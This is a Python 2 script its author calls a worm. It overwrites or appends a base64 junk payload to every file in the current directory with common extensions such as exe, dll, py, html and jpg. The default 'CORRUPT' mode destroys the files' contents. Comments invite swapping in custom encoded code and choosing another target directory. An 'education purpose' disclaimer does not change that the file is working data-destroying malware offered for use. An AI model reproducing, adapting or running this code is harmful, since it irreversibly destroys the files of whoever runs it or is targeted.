python worm

# Demon-606 13lack Worm Code written by 13lackDeMon / Tanmay
# FOR : Linux and Windows | Facebook : www.facebook.com/tanmay606
# discription : this script infect all programs with virus code
# which make all applications corrupt in current virus directory.
# [+] this script is only for education purpose and i am not responsible
# for any harm done by this script. this worm is very powerfull please handle this with care
#----------------------------------------------------------------------------------------------------------------------------------------------------#
from os import listdir,path,getcwd,system
from time import sleep
from colorama import Fore, Back
from sys import exit
os = 'linux' #type [ linux or LINUX ] or [ windows or WINDOWS ]
signature = 'MTNsYWNrV29ybSBXcml0dGVuIEJ5IDEzbGFja0RlTW9uIC8gVGFubWF5'
corrupt_or_justinject = 'CORRUPT' #type [ corrupt / CORRUPT ] to make all files corrupt or type [ inject / INJECT ] to just inject the code.
code_to_inject = 'LC4vfiFAIyQlXiYqKCkpXyt7fVtdOjsiPCwuL34hQCMkJV4mKigpKV9OVUxMK3t9W106OyI8LC4vfiFAIyQlXiYqKCkpXyt7fVtdOjsiPA==' * 90
#you can use your code also in [ code_to_inject ] just encode your code with base64 and put your encoded string :)
#main part of this worm. enter your code which you want to inject in all files.
vul_files = [] #handle all files found in directory with extentions. dont touch it.
directory_to_infect = getcwd()          #you can change this to your target dir
files_ext_to_infect = ['sh','deb','zip','exe','dll','jpg','png','bmp','htm','html','desktop','php','jar','sys','txt','dat','ini','pl','rb','d','py']
#worm will only work for extentions metion in [ files_ext_to_infect ]. you can add more extentions if you want.
#----------------------------------------------------------------------------------------------------------------------------------------------------#
#this part will find all files [extentions matching ]  in given directory and store it in array : vul_files
if(os == 'linux' or os == 'LINUX'):
 system('clear')
 pass
elif(os == 'WINDOWS' or os == 'windows'):
 system('cls')
 pass
else:
 print '[-] Invalid OS only [ linux and windows allowed ]'
 exit(1)
print (Fore.YELLOW + '(+) WorM CoddER : 13lackDeMon / Tanmay\n' + Fore.RESET)
print (Fore.BLUE + '(*) Demon-606 13lack Worm started . . . . \n' + Fore.RESET)
sleep(2)
for files in listdir(directory_to_infect):
 try:
  if(files.split('.')[1] in files_ext_to_infect):
   if(signature.decode('base64') in files):
    pass
   else:
    vul_files.append(files)
    del files
  else:
   pass
   del files
 except:
  pass
  del files
for file in vul_files:
 if(corrupt_or_justinject == 'corrupt' or corrupt_or_justinject == 'CORRUPT'):
  try:
   f = open(file,'w')
   f.write(signature.decode('base64'))
   f.write(' ')
   f.write(code_to_inject.decode('base64'))
   f.close()
   print (Fore.RED + '[+] Code injected in %s Successfully. [ Corrupt = TRUE ]' + Fore.RESET)%file
   sleep(2)
  except:
   print (Back.RED + '[-] Unable to inject in %s [ Access Deniad ]' + Back.RESET)%file
   pass
 elif(corrupt_or_justinject == 'inject' or corrupt_or_justinject == 'INJECT'):
  try:
   f = open(file,'a+')
   f.write(signature.decode('base64'))
   f.write(code_to_inject.decode('base64'))
   f.close()
   print (Fore.RED + '[+] Code injected in %s Successfully. [ Corrupt = FALSE ]' + Fore.RESET) %file
   sleep(2)
  except:
   print (Back.RED + '[-] Unable to inject in %s [ Access Deniad ]' + Back.RESET)%file
   pass
 else:
  print (Back.RED + '[-] Error : Invalid Option Enter use only [1] inject [2] corrupt' + Back.RESET)
  break
  exit(1)
print (Fore.BLUE + '(*) Demon-606 13lack Worm Stopped.' + Fore.RESET)
sleep(2)
exit(1)